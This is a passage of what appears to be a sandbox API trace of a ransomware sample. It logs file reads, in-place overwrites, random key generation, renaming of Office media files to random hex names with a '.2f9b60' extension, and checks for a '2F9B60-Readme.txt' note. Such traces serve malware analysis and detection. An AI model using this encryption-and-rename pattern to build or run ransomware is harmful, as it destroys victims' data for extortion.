out: Seed=0x23edf710) returned 0x603d73ba [0134.581] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x388341d4 [0134.581] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x123abd91 [0134.591] ReadFile (in: hFile=0x1c28, lpBuffer=0x41cb9560, nNumberOfBytesToRead=0x766, lpNumberOfBytesRead=0x23edf710, lpOverlapped=0x0 | out: lpBuffer=0x41cb9560*, lpNumberOfBytesRead=0x23edf710*=0x766, lpOverlapped=0x0) returned 1 [0134.591] SetFilePointerEx (in: hFile=0x1c28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.591] WriteFile (in: hFile=0x1c28, lpBuffer=0x41cbd170*, nNumberOfBytesToWrite=0x766, lpNumberOfBytesWritten=0x23edf714, lpOverlapped=0x0 | out: lpBuffer=0x41cbd170*, lpNumberOfBytesWritten=0x23edf714*=0x766, lpOverlapped=0x0) returned 1 [0135.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205056f0 [0135.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20505720 [0135.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505720) returned 1 [0135.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cbd170) returned 1 [0135.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cb9560) returned 1 [0135.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d490) returned 1 [0135.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0135.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20505720 [0135.338] SetFilePointerEx (in: hFile=0x1c28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0135.338] WriteFile (in: hFile=0x1c28, lpBuffer=0x167ee0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x23edf830, lpOverlapped=0x0 | out: lpBuffer=0x167ee0*, lpNumberOfBytesWritten=0x23edf830*=0x10a, lpOverlapped=0x0) returned 1 [0135.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97df0 [0135.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79de70 [0135.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0135.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7380) returned 1 [0135.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0135.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0135.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7080 [0135.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7080) returned 1 [0135.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 [0135.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97df0) returned 1 [0135.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0070 [0135.403] sprintf (in: _Dest=0x1cda0070, _Format="%c%c" | out: _Dest="a0") returned 2 [0135.403] sprintf (in: _Dest=0x1cda0072, _Format="%c%c" | out: _Dest="7c") returned 2 [0135.403] sprintf (in: _Dest=0x1cda0074, _Format="%c%c" | out: _Dest="58") returned 2 [0135.403] sprintf (in: _Dest=0x1cda0076, _Format="%c%c" | out: _Dest="08") returned 2 [0135.403] sprintf (in: _Dest=0x1cda0078, _Format="%c%c" | out: _Dest="52") returned 2 [0135.403] sprintf (in: _Dest=0x1cda007a, _Format="%c%c" | out: _Dest="ef") returned 2 [0135.403] sprintf (in: _Dest=0x1cda007c, _Format="%c%c" | out: _Dest="b4") returned 2 [0135.403] sprintf (in: _Dest=0x1cda007e, _Format="%c%c" | out: _Dest="a5") returned 2 [0135.403] sprintf (in: _Dest=0x1cda0080, _Format="%c%c" | out: _Dest="dd") returned 2 [0135.403] sprintf (in: _Dest=0x1cda0082, _Format="%c%c" | out: _Dest="e8") returned 2 [0135.403] sprintf (in: _Dest=0x1cda0084, _Format="%c%c" | out: _Dest="f6") returned 2 [0135.403] sprintf (in: _Dest=0x1cda0086, _Format="%c%c" | out: _Dest="74") returned 2 [0135.403] sprintf (in: _Dest=0x1cda0088, _Format="%c%c" | out: _Dest="7c") returned 2 [0135.403] sprintf (in: _Dest=0x1cda008a, _Format="%c%c" | out: _Dest="84") returned 2 [0135.403] sprintf (in: _Dest=0x1cda008c, _Format="%c%c" | out: _Dest="20") returned 2 [0135.403] sprintf (in: _Dest=0x1cda008e, _Format="%c%c" | out: _Dest="09") returned 2 [0135.403] sprintf (in: _Dest=0x1cda0090, _Format="%c%c" | out: _Dest="b3") returned 2 [0135.403] sprintf (in: _Dest=0x1cda0092, _Format="%c%c" | out: _Dest="4b") returned 2 [0135.403] sprintf (in: _Dest=0x1cda0094, _Format="%c%c" | out: _Dest="db") returned 2 [0135.404] sprintf (in: _Dest=0x1cda0096, _Format="%c%c" | out: _Dest="fb") returned 2 [0135.404] sprintf (in: _Dest=0x1cda0098, _Format="%c%c" | out: _Dest="60") returned 2 [0135.404] sprintf (in: _Dest=0x1cda009a, _Format="%c%c" | out: _Dest="f0") returned 2 [0135.404] sprintf (in: _Dest=0x1cda009c, _Format="%c%c" | out: _Dest="9a") returned 2 [0135.404] sprintf (in: _Dest=0x1cda009e, _Format="%c%c" | out: _Dest="e1") returned 2 [0135.404] RtlInitAnsiString (in: DestinationString=0x23edf8a8, SourceString="a07c580852efb4a5dde8f6747c842009b34bdbfb60f09ae1" | out: DestinationString="a07c580852efb4a5dde8f6747c842009b34bdbfb60f09ae1") [0135.404] RtlAnsiStringToUnicodeString (in: DestinationString=0x23edf878, SourceString="a07c580852efb4a5dde8f6747c842009b34bdbfb60f09ae1", AllocateDestinationString=1 | out: DestinationString="a07c580852efb4a5dde8f6747c842009b34bdbfb60f09ae1") returned 0x0 [0135.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9010 [0135.404] wcscat (in: _Dest=0x205092b0, _Source="a07c580852ef" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a07c580852ef") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a07c580852ef" [0135.404] wcscat (in: _Dest=0x205092b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a07c580852ef.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a07c580852ef.2f9b60" [0135.404] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a07c580852ef.2f9b60", NtPathName=0x23edf850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a07c580852ef.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0135.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202adad0 [0146.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202adad0) returned 1 [0146.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47550) returned 1 [0146.281] NtQueryInformationFile (in: FileHandle=0x1c28, IoStatusBlock=0x23edf8b8, FileInformation=0x23edf8c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23edf8b8, FileInformation=0x23edf8c8) returned 0x0 [0146.281] NtSetInformationFile (FileHandle=0x1c28, IoStatusBlock=0x23edf8b8, FileInformation=0x23edf8c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0146.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205092b0) returned 1 [0146.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9010) returned 1 [0146.301] FlushFileBuffers (hFile=0x1c28) returned 1 [0146.309] CloseHandle (hObject=0x1c28) returned 1 [0146.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202afa90 [0146.310] wcscpy (in: _Dest=0x202afa90, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0146.310] wcscat (in: _Dest=0x202afa90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0146.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0146.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202afa90) returned 1 [0146.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b580) returned 1 Thread: id = 1749 os_tid = 0x1758 [0132.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293238.wmf")) returned 0x20 [0132.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF", dwFileAttributes=0x20) returned 1 [0133.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293238.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c24 [0135.247] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x25b1fa20 | out: lpFileSize=0x25b1fa20*=1930) returned 1 [0135.247] SetFilePointerEx (in: hFile=0x1c24, liDistanceToMove=0x786, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.247] ReadFile (in: hFile=0x1c24, lpBuffer=0x25b1f9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25b1f9e8, lpOverlapped=0x0 | out: lpBuffer=0x25b1f9a0*, lpNumberOfBytesRead=0x25b1f9e8*=0x4, lpOverlapped=0x0) returned 1 [0135.250] SetFilePointerEx (in: hFile=0x1c24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261910 [0135.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202636b0 [0135.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261820 [0135.251] NtQuerySystemTime (in: CurrentTime=0x25b1f8e0 | out: CurrentTime=0x25b1f8e0*=132462177404854000) returned 0x0 [0135.251] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0xf04afdb [0135.251] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0x3ca0de8c [0135.251] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0x6107fbba [0135.251] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0x62362f76 [0135.251] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0x16c9f668 [0135.251] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0x5f1fbcd5 [0135.251] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0x74f03073 [0135.251] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0xaaa35cc [0135.251] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0x12e86729 [0135.251] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0x71f4fab8 [0135.251] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0x76f304c2 [0135.252] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0x789aee76 [0135.252] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0x483e96d0 [0135.252] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0x53467b82 [0135.252] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0x2918bf31 [0135.252] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0x4b699e93 [0135.252] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0x13a94d28 [0135.252] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0x79b175c2 [0135.252] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0x4ca32115 [0135.252] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0x6251ffa9 [0135.252] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0x125d1442 [0135.252] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0x3574931d [0135.252] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0xb920ab1 [0135.252] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0x30d8d7 [0135.252] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0x435c71ff [0135.252] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0x30e33b66 [0135.252] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0x74a19a97 [0135.252] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0x6245aacd [0135.252] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0x65420968 [0135.253] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0x250b5094 [0135.253] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0x3b99adc5 [0135.253] RtlRandomEx (in: Seed=0x25b1f8d0 | out: Seed=0x25b1f8d0) returned 0x16b72bcc [0135.264] ReadFile (in: hFile=0x1c24, lpBuffer=0x203990f0, nNumberOfBytesToRead=0x78a, lpNumberOfBytesRead=0x25b1f8d0, lpOverlapped=0x0 | out: lpBuffer=0x203990f0*, lpNumberOfBytesRead=0x25b1f8d0*=0x78a, lpOverlapped=0x0) returned 1 [0135.265] SetFilePointerEx (in: hFile=0x1c24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.265] WriteFile (in: hFile=0x1c24, lpBuffer=0x2039cd00*, nNumberOfBytesToWrite=0x78a, lpNumberOfBytesWritten=0x25b1f8d4, lpOverlapped=0x0 | out: lpBuffer=0x2039cd00*, lpNumberOfBytesWritten=0x25b1f8d4*=0x78a, lpOverlapped=0x0) returned 1 [0135.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20505b10 [0135.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20505b40 [0135.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505b40) returned 1 [0135.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2039cd00) returned 1 [0135.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203990f0) returned 1 [0135.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dd70) returned 1 [0135.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97df0) returned 1 [0135.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20505b40 [0135.370] SetFilePointerEx (in: hFile=0x1c24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0135.370] WriteFile (in: hFile=0x1c24, lpBuffer=0x1673a0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x25b1f9f0, lpOverlapped=0x0 | out: lpBuffer=0x1673a0*, lpNumberOfBytesWritten=0x25b1f9f0*=0x10a, lpOverlapped=0x0) returned 1 [0135.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97df0 [0135.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79de70 [0135.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267da0 [0135.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267da0) returned 1 [0135.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0135.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267da0 [0135.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267d70 [0135.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267d70) returned 1 [0135.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 [0135.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97df0) returned 1 [0135.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0070 [0135.430] sprintf (in: _Dest=0x1cda0070, _Format="%c%c" | out: _Dest="4a") returned 2 [0135.430] sprintf (in: _Dest=0x1cda0072, _Format="%c%c" | out: _Dest="72") returned 2 [0135.430] sprintf (in: _Dest=0x1cda0074, _Format="%c%c" | out: _Dest="a0") returned 2 [0135.430] sprintf (in: _Dest=0x1cda0076, _Format="%c%c" | out: _Dest="f2") returned 2 [0135.430] sprintf (in: _Dest=0x1cda0078, _Format="%c%c" | out: _Dest="d1") returned 2 [0135.430] sprintf (in: _Dest=0x1cda007a, _Format="%c%c" | out: _Dest="ea") returned 2 [0135.430] sprintf (in: _Dest=0x1cda007c, _Format="%c%c" | out: _Dest="50") returned 2 [0135.430] sprintf (in: _Dest=0x1cda007e, _Format="%c%c" | out: _Dest="6a") returned 2 [0135.431] sprintf (in: _Dest=0x1cda0080, _Format="%c%c" | out: _Dest="ee") returned 2 [0135.431] sprintf (in: _Dest=0x1cda0082, _Format="%c%c" | out: _Dest="26") returned 2 [0135.431] sprintf (in: _Dest=0x1cda0084, _Format="%c%c" | out: _Dest="a3") returned 2 [0135.431] sprintf (in: _Dest=0x1cda0086, _Format="%c%c" | out: _Dest="b5") returned 2 [0135.431] sprintf (in: _Dest=0x1cda0088, _Format="%c%c" | out: _Dest="35") returned 2 [0135.431] sprintf (in: _Dest=0x1cda008a, _Format="%c%c" | out: _Dest="ee") returned 2 [0135.431] sprintf (in: _Dest=0x1cda008c, _Format="%c%c" | out: _Dest="12") returned 2 [0135.431] sprintf (in: _Dest=0x1cda008e, _Format="%c%c" | out: _Dest="19") returned 2 [0135.431] sprintf (in: _Dest=0x1cda0090, _Format="%c%c" | out: _Dest="f5") returned 2 [0135.431] sprintf (in: _Dest=0x1cda0092, _Format="%c%c" | out: _Dest="f9") returned 2 [0135.431] sprintf (in: _Dest=0x1cda0094, _Format="%c%c" | out: _Dest="29") returned 2 [0135.431] sprintf (in: _Dest=0x1cda0096, _Format="%c%c" | out: _Dest="49") returned 2 [0135.431] sprintf (in: _Dest=0x1cda0098, _Format="%c%c" | out: _Dest="db") returned 2 [0135.431] sprintf (in: _Dest=0x1cda009a, _Format="%c%c" | out: _Dest="f8") returned 2 [0135.431] sprintf (in: _Dest=0x1cda009c, _Format="%c%c" | out: _Dest="57") returned 2 [0135.431] sprintf (in: _Dest=0x1cda009e, _Format="%c%c" | out: _Dest="27") returned 2 [0135.431] RtlInitAnsiString (in: DestinationString=0x25b1fa68, SourceString="4a72a0f2d1ea506aee26a3b535ee1219f5f92949dbf85727" | out: DestinationString="4a72a0f2d1ea506aee26a3b535ee1219f5f92949dbf85727") [0135.431] RtlAnsiStringToUnicodeString (in: DestinationString=0x25b1fa38, SourceString="4a72a0f2d1ea506aee26a3b535ee1219f5f92949dbf85727", AllocateDestinationString=1 | out: DestinationString="4a72a0f2d1ea506aee26a3b535ee1219f5f92949dbf85727") returned 0x0 [0135.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8de0 [0135.432] wcscat (in: _Dest=0x20509490, _Source="4a72a0f2d1ea" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4a72a0f2d1ea") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4a72a0f2d1ea" [0135.432] wcscat (in: _Dest=0x20509490, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4a72a0f2d1ea.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4a72a0f2d1ea.2f9b60" [0135.432] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4a72a0f2d1ea.2f9b60", NtPathName=0x25b1fa10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4a72a0f2d1ea.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0135.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050b8a0 [0146.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b8a0) returned 1 [0146.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202902e0) returned 1 [0146.322] NtQueryInformationFile (in: FileHandle=0x1c24, IoStatusBlock=0x25b1fa78, FileInformation=0x25b1fa88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x25b1fa78, FileInformation=0x25b1fa88) returned 0x0 [0146.322] NtSetInformationFile (FileHandle=0x1c24, IoStatusBlock=0x25b1fa78, FileInformation=0x25b1fa88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0146.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509490) returned 1 [0146.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8de0) returned 1 [0146.783] FlushFileBuffers (hFile=0x1c24) returned 1 [0146.788] CloseHandle (hObject=0x1c24) returned 1 [0146.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86aaa0 [0146.791] wcscpy (in: _Dest=0x1b86aaa0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0146.791] wcscat (in: _Dest=0x1b86aaa0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0146.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0146.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86aaa0) returned 1 [0146.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86abc0) returned 1 Thread: id = 1750 os_tid = 0x175c [0132.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293240.wmf")) returned 0x20 [0132.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF", dwFileAttributes=0x20) returned 1 [0133.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293240.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bc4 [0134.118] GetFileSizeEx (in: hFile=0x1bc4, lpFileSize=0x2504fd60 | out: lpFileSize=0x2504fd60*=2190) returned 1 [0134.118] SetFilePointerEx (in: hFile=0x1bc4, liDistanceToMove=0x88a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.118] ReadFile (in: hFile=0x1bc4, lpBuffer=0x2504fce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2504fd28, lpOverlapped=0x0 | out: lpBuffer=0x2504fce0*, lpNumberOfBytesRead=0x2504fd28*=0x4, lpOverlapped=0x0) returned 1 [0134.124] SetFilePointerEx (in: hFile=0x1bc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6f50 [0134.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6ef0 [0134.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6530 [0134.125] NtQuerySystemTime (in: CurrentTime=0x2504fc20 | out: CurrentTime=0x2504fc20*=132462177393622000) returned 0x0 [0134.125] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0x1f1f7f94 [0134.125] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0x4f37abe8 [0134.125] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0x62f59307 [0134.125] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0x3eea799c [0134.125] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0x5fe1f917 [0134.125] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0x318ae829 [0134.125] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0x760dca10 [0134.125] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0x281f1eb6 [0134.125] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0x22b0b64a [0134.125] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0x75e0481d [0134.125] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0x2ffa2430 [0134.125] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0xd9a07ca [0134.125] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0x45c8fb64 [0134.125] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0x21380d44 [0134.125] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0x564cea5c [0134.125] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0x5871bfc1 [0134.126] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0x5550692d [0134.126] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0xd471ded [0134.126] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0x1a8467a3 [0134.126] RtlRandomEx (in: Seed=0x2504fc10 | out: 